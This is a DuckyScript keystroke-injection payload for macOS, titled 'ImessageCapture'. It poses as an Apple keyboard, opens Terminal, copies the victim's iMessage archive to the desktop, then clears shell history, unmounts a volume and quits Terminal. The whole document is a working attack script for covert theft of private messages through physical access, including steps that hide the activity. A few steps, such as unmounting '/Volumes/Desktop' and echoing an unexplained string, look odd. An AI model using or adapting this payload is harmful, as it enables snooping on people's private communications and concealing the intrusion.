REM If you haven't previously archived your iMessages, the folder will be empty.
REM This script captures iMessages and puts it into 
REM a folder on the desktop named automatically to the users Name


REM Author: Narsty
REM Title: ImessageCapture
REM Version 1.0 MacOs
REM Category: Execution 

ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 150
STRING Terminal
DELAY 900
ENTER
DELAY 900
STRING cp -r ~/Library/Messages/Archive /Users/$(whoami)/Desktop/
ENTER
STRING history -c
ENTER
STRING diskutil umount /Volumes/Desktop
ENTER
DELAY 500
STRING history -c
ENTER
STRING echo 5A13X99
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 250
GUI q
